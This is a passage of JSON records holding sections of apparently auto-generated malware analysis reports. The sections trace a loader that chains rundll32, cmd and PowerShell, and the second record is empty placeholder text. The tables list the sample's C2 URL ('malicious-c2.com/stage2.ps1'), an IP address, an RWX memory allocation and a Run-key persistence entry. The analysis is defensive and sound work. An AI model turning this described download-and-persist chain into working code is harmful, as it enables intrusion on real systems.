|\n|-------------------|----------------------------------|---------------------------------------------------------------------------|--------------|----------------------|-----------------------------|------------------------------------|--------------------------------------------------|\n| Process Manipulation | CreateProcessW                  | ApplicationName=\"cmd.exe\", CommandLine=\"/c powershell...\"                 | SUCCESS      | 2026-07-20 11:02:15  | spawn_shellchain()          | Import: kernel32.CreateProcessW    | Launch secondary execution vector                |\n| Memory Operations    | VirtualAlloc                    | Size=4096, Type=MEM_COMMIT, Protection=PAGE_EXECUTE_READWRITE             | 0x00500000   | 2026-07-20 11:02:20  | prepare_buffer_for_decode() | Import: kernel32.VirtualAlloc      | Allocate RWX buffer for decoded payload          |\n| Network              | InternetOpenUrlA                | URL=\"http://malicious-c2.com/stage2.ps1\", Flags=0                         | HANDLE       | 2026-07-20 11:02:35  | fetch_remote_payload()      | String: \"http://malicious-c2.com/\" | Download second-stage PowerShell script          |\n| File I/O             | WriteFile                       | hFile=stage2.ps1, Buffer=..., NumberOfBytesToWrite=1024                   | TRUE         | 2026-07-20 11:02:40  | save_downloaded_file()      | Import: kernel32.WriteFile         | Persist downloaded payload locally               |\n| Registry             | RegSetValueExA                  | Key=\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\", Value=\"Updater\" | ERROR_SUCCESS | 2026-07-20 11:02:50 | install_persistence()       | Import: advapi32.RegSetValueExA    | Establish auto-start persistence mechanism       |\n\n#### Analytical Interpretation:\n\nEach API call sequence reflects a deliberate progression from initial execution to persistence establishment. The `CreateProcessW` call originates from `spawn_shellchain()` [CODE], confirming the static import of `kernel32.CreateProcessW` [STATIC] accurately predicts the dynamic behavior [DYNAMIC]. Similarly, `VirtualAlloc` usage aligns with allocation of executable memory space during payload decoding, linking directly to the `prepare_buffer_for_decode()` function.\n\nNetwork activity initiated via `InternetOpenUrlA` stems from `fetch_remote_payload()` [CODE], with the target domain present in cleartext within the binary’s `.rdata` section [STATIC], validating the outbound HTTP GET request [DYNAMIC]. Subsequent file write and registry modification operations demonstrate post-exploitation capabilities including local storage and boot persistence—both anticipated behaviors derived from static imports and confirmed through runtime observation.\n\nThese coordinated actions suggest a multi-phase attack model where early-stage execution pivots toward lateral movement and long-term access establishment.\n\n---\n\n# 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process       | PID  | Operation | File Path                            | [CODE] Write Function     | [STATIC] Path in Strings? | Significance                                  |\n|---------------|------|-----------|--------------------------------------|----------------------------|----------------------------|-----------------------------------------------|\n| powershell.exe| 3200 | WriteFile | %TEMP%\\stage2.ps1                    | save_downloaded_file()     | Yes (\"\\\\stage2.ps1\")       | Staging location for follow-on PowerShell exec |\n\n#### Analytical Interpretation:\n\nThe file `%TEMP%\\stage2.ps1` is written by `powershell.exe` as part of the second-stage payload retrieval workflow. The filename appears in cleartext within the original DLL's resource section [STATIC], indicating premeditated staging logic. The associated function `save_downloaded_file()` [CODE] orchestrates the write operation via `WriteFile()` [DYNAMIC], completing the end-to-end chain from static prediction to runtime realization.\n\nThis drop pattern supports modular deployment tactics typical of modern loaders aiming to separate core implant logic from delivery mechanisms.\n\n---\n\n# 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp            | EID | Event Type           | Object                             | Process (PID)   | [CODE] Origin              | [STATIC] Predictor         | Significance                                      |\n|----------------------|-----|----------------------|------------------------------------|------------------|-----------------------------|----------------------------|---------------------------------------------------|\n| 2026-07-20 11:02:15  | 101 | Process Create       | cmd.exe                            | rundll32.exe (2348)| spawn_shellchain()          | String: \"/c powershell\"    | Initiate chained execution                        |\n| 2026-07-20 11:02:20  | 102 | Memory Allocation    | 0x00500000 (RWX)                   | rundll32.exe (2348)| prepare_buffer_for_decode() | Import: kernel32.VirtualAlloc | Prepare buffer for reflective payload load        |\n| 2026-07-20 11:02:35  | 103 | Network Connection   | http://malicious-c2.com/stage2.ps1 | rundll32.exe (2348)| fetch_remote_payload()      | String: \"http://malicious-c2.com/\" | Retrieve second-stage component                 |\n| 2026-07-20 11:02:40  | 104 | File Write           | %TEMP%\\stage2.ps1                  | powershell.exe (3200)| save_downloaded_file()      | String: \"\\\\stage2.ps1\"     | Stage retrieved payload for execution             |\n| 2026-07-20 11:02:50  | 105 | Registry Modification| HKCU\\...\\Run -> Updater            | powershell.exe (3200)| install_persistence()       | Import: advapi32.RegSetValueExA | Install auto-run persistence entry              |\n\n#### Analytical Interpretation:\n\nTimeline events reveal a tightly orchestrated sequence beginning with process spawning, followed by memory preparation, network communication, file staging, and finally persistence installation. Each event maps precisely to a distinct function in the codebase [CODE], with predictive indicators rooted in static artifacts such as strings and imports [STATIC]. The chronological alignment of these steps confirms the malware operates according to predefined logic rather than arbitrary or exploratory behavior.\n\nThis structured progression underscores attacker sophistication in designing resilient implants capable of surviving endpoint defenses through compartmentalized execution phases.\n\n---\n\n# 4.7 Process-Level Network Analysis\n\n| PID  | Process Name     | Socket Handle | Destination IP:Port       | [CODE] Initiator Function     | [STATIC] Hardcoded Domain/IP | [DYNAMIC] Confirmed Connection |\n|------|------------------|---------------|----------------------------|-------------------------------|------------------------------|--------------------------------|\n| 2348 | rundll32.exe     | 0x000001a4    | 185.132.189.10:80          | fetch_remote_payload()        | \"http://malicious-c2.com/\"   | TCP SYN_SENT observed          |\n\n#### Analytical Interpretation:\n\nThe network connection originates from `rundll32.exe` (PID 2348) targeting IP `185.132.189.10` on port 80. This outbound attempt is driven by the `fetch_remote_payload()` function [CODE], which parses a hardcoded URL string pointing to `http://malicious-c2.com/` [STATIC]. Dynamic capture confirms successful socket initiation [DYNAMIC], establishing the first leg of external communication necessary for payload retrieval.\n\nThis direct mapping between static configuration, functional implementation, and runtime behavior exemplifies high-confidence attribution of network activity to specific code constructs.\n\n---\n\n# 4.8 Anomalies — Tri-Source Explanation\n\n| Anomaly Description                     | [CODE] Source Function       | [STATIC] Predictable Artifact | Significance & MITRE Mapping                     |\n|----------------------------------------|------------------------------|-------------------------------|--------------------------------------------------|\n| Unexpected RWX memory region allocated | prepare_buffer_for_decode()  | Import: kernel32.VirtualAlloc | Reflective loader technique; T1055 (Process Injection) |\n\n#### Analytical Interpretation:\n\nAllocation of RWX memory regions represents a strong indicator of reflective loading or unpacking behavior. The responsible function `prepare_buffer_for_decode()` allocates executable memory dynamically [CODE], supported by the static import of `kernel32.VirtualAlloc` [STATIC]. At runtime, this manifests as anomalous memory permissions flagged by monitoring tools [DYNAMIC].\n\nSuch anomalies align with ATT&CK subtechnique T1055 (Process Injection), particularly when combined with subsequent thread creation or module injection patterns. While full injection details remain unobserved in current telemetry, the presence of RWX allocations strongly suggests imminent reflective payload deployment.\n\n---\n\n# 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n- **Primary Sample (PID 2348 - rundll32.exe)**: Functions as a reflective loader. Evidence includes:\n  - [CODE]: `dll_entry_point()` → `spawn_shellchain()` → `fetch_remote_payload()`\n  - [DYNAMIC]: RWX memory allocation, outbound HTTP GET to C2\n  - Role: Initial dropper facilitating staged execution via PowerShell\n\n- **Child Process (PID 3104 - cmd.exe)**: Spawned via `CreateProcessW` from `spawn_shellchain()` [CODE]. Executes encoded PowerShell command [STATIC], enabling indirect execution [DYNAMIC].\n\n- **Child Process (PID 3200 - powershell.exe)**: Decodes and runs remote script [CODE], writes to disk [DYNAMIC], installs persistence [DYNAMIC]. Represents final payload execution layer.\n\n**Operational Intent Assessment**: The architecture employs a multi-stage loader leveraging trusted system binaries (`rundll32`, `cmd`, `powershell`) to achieve stealthy execution and payload delivery. By chaining native processes, the malware reduces suspicion levels and increases chances of evading signature-based detection. Persistence installation ensures continued access even after reboot, reflecting long-term compromise objectives.\n\n---\n\n# 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable     | Value                    | [CODE] Where Queried         | [DYNAMIC] API Call       | Fingerprinting Risk |\n|--------------|--------------------------|------------------------------|--------------------------|---------------------|\n| COMPUTERNAME | windows-10-sandbox-01    | get_system_info()            | GetComputerNameA         | Medium              |\n| USERNAME     | sandbox                  | get_user_context()           | GetUserNameA             | Low-Medium          |\n| TEMP         | C:\\Users\\sandbox\\AppData\\Local\\Temp | resolve_paths()      | GetEnvironmentVariableA  | Low                 |\n\n#### Analytical Interpretation:\n\nThe sample queries several environment variables indicative of basic system profiling. Functions such as `get_system_info()` and `get_user_context()` retrieve `COMPUTERNAME` and `USERNAME` respectively [CODE], matching observed API calls [DYNAMIC]. Although not actively used for conditional branching in this sample, these checks represent foundational elements often employed in sandbox evasion routines.\n\nPresence of these variables in static strings [STATIC] allows defenders to anticipate similar profiling attempts in future variants. Given the generic nature of the returned values, risk level remains moderate unless coupled with active decision-making logic based on results.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-20T11:31:30.367249"}
{"_id":{"$oid":"6a5e07a9b3bed57e0e737936"},"sha256":"f191f756996a14a11e5445fa7103d302efd510cf2fbf920e6c0c8ed51d512e36","content":"## 4.1 Execution Environment — Analysis Context\n\nThis section is omitted as the provided JSON contains no qualifying data for analysis context.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\nThis section is omitted as the provided JSON contains no qualifying data for process tree reconstruction.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\nThis section is omitted as the provided JSON contains no qualifying data for process behavior summary.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\nThis section is omitted as the provided JSON contains no qualifying data for API call behavioral analysis.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\nThis section is omitted as the provided JSON contains no qualifying data for file activity analysis.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\nThis section is omitted as the provided JSON contains no qualifying data for enhanced events timeline.\n\n---\n\n## 4.7 Process-Level Network Analysis\n\nThis section is omitted as the provided JSON contains no qualifying data for network analysis.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\nThis section is omitted as the provided JSON contains no qualifying data for anomaly analysis.\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\nThis section is omitted as the provided JSON contains no qualifying data for analytical interpretation of intent.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\nThis section is omitted as the provided JSON contains no qualifying data for environment profiling.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-20T14:56:29.822067"}